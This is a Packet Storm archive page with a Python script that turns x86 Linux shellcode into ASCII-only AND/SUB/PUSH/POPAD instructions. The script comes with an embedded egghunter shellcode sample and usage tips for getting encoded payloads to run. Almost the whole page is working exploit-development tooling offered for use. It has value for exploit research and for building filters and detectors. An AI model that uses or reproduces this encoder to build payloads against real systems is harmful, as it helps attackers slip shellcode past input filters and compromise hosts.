what you don't know can hurt you

Linux/x86 ASCII AND, SUB, PUSH, POPAD Encoder Shellcode

Linux/x86 ASCII AND, SUB, PUSH, POPAD Encoder Shellcode
Posted Jun 27, 2019
Authored by Petr Javorik

Linux/x86 ASCII AND, SUB, PUSH, POPAD encoder shellcode.

tags | x86, shellcode
systems | linux
MD5 | 7d8add083000fb4263e70c141c03f153

Linux/x86 ASCII AND, SUB, PUSH, POPAD Encoder Shellcode

Change Mirror Download
#!/usr/bin/env python3

################################################################################
# INTRODUCTION
################################################################################

# Encoder Title: ASCII shellcode encoder via AND, SUB, PUSH, POPAD
# Date: 26.6.2019
# Encoder Author: Petr Javorik, www.mmquant.net
# Tested on: Linux ubuntu 3.13.0-32-generic, x86
# Special thx to: Corelanc0d3r for intro to this technique
#
# Description:
# This encoder is based on egghunter found in https://www.exploit-db.com/exploits/5342
# Core idea is that every dword can be derived using 3 SUB instructions
# with operands consisting strictly of ASCII compatible bytes.
#
# What it does?:
# Suppose that we want to push \x05\xEB\xD1\x8B (0x8BD1EB05) to the stack.
# Then we can do it as follows:
#
# AND EAX, 3F465456
# AND EAX, 40392B29 ; Two AND instructions zero EAX
# SUB EAX, 3E716230 ; Subtracting 3 dwords consisting
# SUB EAX, 5D455523 ; of ASCII compatible bytes from 0x00000000
# SUB EAX, 5E5D7722 ; we get EAX = 0x8BD1EB05
# PUSH EAX

# Mandatory bytes:
# \x25 AND EAX, imm32
# \x2d SUB EAX, imm32
# \x50 PUSH EAX
# \x61 POPAD

# How to use:
# Edit the SETTINGS section and simply run as
# ./ASCIIencoder

# ProTip:
# Take special attention to the memory between the end of decoder instructions
# and the beginning of decoded shellcode. Program flow must seamlessly step over
# this memory. If this "bridge memory area" contains illegal opcodes they can
# be rewritten with additional PUSH instruction appended to the end of generated
# shellcode. Use for example PUSH 0x41414141.

################################################################################

import itertools
import struct
import random
import sys

assert sys.version_info >= (3, 6)


################################################################################
# CONSTANTS - no changes needed here
################################################################################

# ASCII character set
L_CASE = bytearray(range(0x61, 0x7b)) # abcdefghijklmnopqrstuvwxyz
U_CASE = bytearray(range(0x41, 0x5b)) # ABCDEFGHIJKLMNOPQRSTUVWXYZ
NUMBERS = bytearray(range(0x30, 0x3a)) # 0123456789
SPECIAL_CHARS = bytearray(
itertools.chain(
range(0x21, 0x30), # !"#$%&\'()*+,-.
range(0x3a, 0x41), # :;<=>?
range(0x5b, 0x61), # [\\]^_
range(0x7b, 0x7f) # {|}
)
)
ASCII_NOPS = b'\x41\x42\x43\x44' # and many more
ALL_CHARS = (L_CASE + U_CASE + NUMBERS + SPECIAL_CHARS)

################################################################################
# SETTINGS - enter shellcode, select character set and bad chars
################################################################################

input_shellcode = (
b'\x8b\xd1\xeb\x05\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e'
b'\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf'
b'\x75\xe7\xff\xe7'
)

# input_charset = U_CASE + L_CASE
input_charset = ALL_CHARS

# badchars = b''
badchars = b''

nops = ASCII_NOPS

################################################################################
# CORE - no changes needed here
################################################################################

class ASCII_Encoder(object):

def __init__(self, shellcode_, charset_, badchars_, nops_):

# Constructor args
self.shellcode = bytearray(shellcode_)
self.charset = charset_
self.badchars = badchars_
self.nops = nops_

# Private vars
self.encoded_dwords = []
self.twos_comps = []
self.sub_operands = []
self.payload = bytearray()

def encode(self):

self.align_to_dwords()
self.remove_badchars()
self.derive_dwords_sub()
self.compensate_overflow()
self.derived_dwords_to_sub_operands()
self.twos_comp_check()
self.compile_payload()


def align_to_dwords(self):

# Input shellcode alignment to dword multiples
nop = b'\x90'
pad_count = 4 - (len(self.shellcode) % 4)
if 0 < pad_count < 4:
self.shellcode += nop * pad_count

def remove_badchars(self):

for badchar in self.badchars:
self.charset = self.charset.replace(bytes([badchar]), b'')
self.nops = self.nops.replace(bytes([badchar]), b'')

def derive_dwords_sub(self):

def get_sub_encoding_bytes(target):
"""
target x y z
0x100 - (0x21+0x21) = 0xbe

We need to select x, y, z such that it gives target when summed and all of
x, y, z is ASCII and non-badchar
"""

# Get all possible solutions
all_xy = list(itertools.combinations_with_replacement(self.charset, 2))
results = []
for x, y in all_xy:
z = target - (x + y)
# Get only bytes which are ASCII and non-badchar
if (0 < z < 256) and (z in self.charset):
results.append({
'x': x,
'y': y,
'z': z,
'of': True if target >= 0x100 else False
})

# Choose random solution
return random.choice(results)

for dword in struct.iter_unpack('<L', self.shellcode):

# 32-bit 2's complement
twos_comp = (dword[0] ^ 0xffffffff) + 1
self.twos_comps.append(twos_comp)

encoded_block = []
for byte_ in struct.pack('>L', twos_comp):

# Will overflow be used when calculating this byte using 3 SUB instructions?
if byte_ / 3 < min(self.charset):
byte_ += 0x100
encoded_block.append(
get_sub_encoding_bytes(byte_))
pass

self.encoded_dwords.append(encoded_block)

def compensate_overflow(self):

# If neighbor lower byte overflow then subtract 1 from max(x, y, z)
for dword in self.encoded_dwords:
for solution, next_solution in zip(dword, dword[1:]):
if next_solution['of']:
max_value_key = max(solution, key=solution.get)
solution[max_value_key] -= 1

def derived_dwords_to_sub_operands(self):

for dword in self.encoded_dwords:

sub_operand_0 = struct.pack('<BBBB',
*[solution['x'] for solution in dword])
sub_operand_1 = struct.pack('<BBBB',
*[solution['y'] for solution in dword])
sub_operand_2 = struct.pack('<BBBB',
*[solution['z'] for solution in dword])

self.sub_operands.append([
sub_operand_0,
sub_operand_1,
sub_operand_2
])

def twos_comp_check(self):

# Check if calculated dwords for SUB instruction give 2's complement if they are summed
for twos_comp, sub_operand in zip(self.twos_comps, self.sub_operands):
sup_operand_sum = sum(
[int.from_bytes(dw, byteorder='big') for dw in sub_operand])

# Correction of sum if there is overflow on the highest byte
if sup_operand_sum > 0xffffffff:
sup_operand_sum -= 0x100000000
assert (twos_comp == sup_operand_sum)

def compile_payload(self):

def derive_bytes_and():

all_xy = list(itertools.combinations_with_replacement(self.charset, 2))
results = []
for x, y in all_xy:
if x + y == 127:
results.append((x, y))
while 1:
yield random.choice(results)

def derive_dwords_and():

gen_bytes = derive_bytes_and()
bytes_ = []
for _ in range(0, 4):
bytes_.append(next(gen_bytes))

return bytes_

# POPAD n times to adjust ESP.
# Decoded shellcode must be written after the decoder stub
self.payload += b'\x61' * (len(self.encoded_dwords))

for sub_operand in reversed(self.sub_operands):

# Clearing EAX instructions with AND instructions
bytes_ = derive_dwords_and()

self.payload += b'\x25' + struct.pack('<BBBB',
*[byte_[0] for byte_ in bytes_])
self.payload += b'\x25' + struct.pack('<BBBB',
*[byte_[1] for byte_ in bytes_])

# Encoded shellcode with SUB instructions
self.payload += b'\x2d' + sub_operand[0][::-1]
self.payload += b'\x2d' + sub_operand[1][::-1]
self.payload += b'\x2d' + sub_operand[2][::-1]

# Push EAX
self.payload += b'\x50'

# Pad with NOPs
self.payload += bytes(random.choices(self.nops, k=9))

def print_payload(self):

print('Original payload length: {}'.format(len(input_shellcode)))
print('Encoded payload length: {}'.format(len(self.payload)))
print('hex: ',
'\\x' + '\\x'.join('{:02x}'.format(byte) for byte in self.payload))


if __name__ == '__main__':

encoder = ASCII_Encoder(input_shellcode, input_charset, badchars, nops)
encoder.encode()
encoder.print_payload()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    11 Files
  • 17
    Sep 17th
    14 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close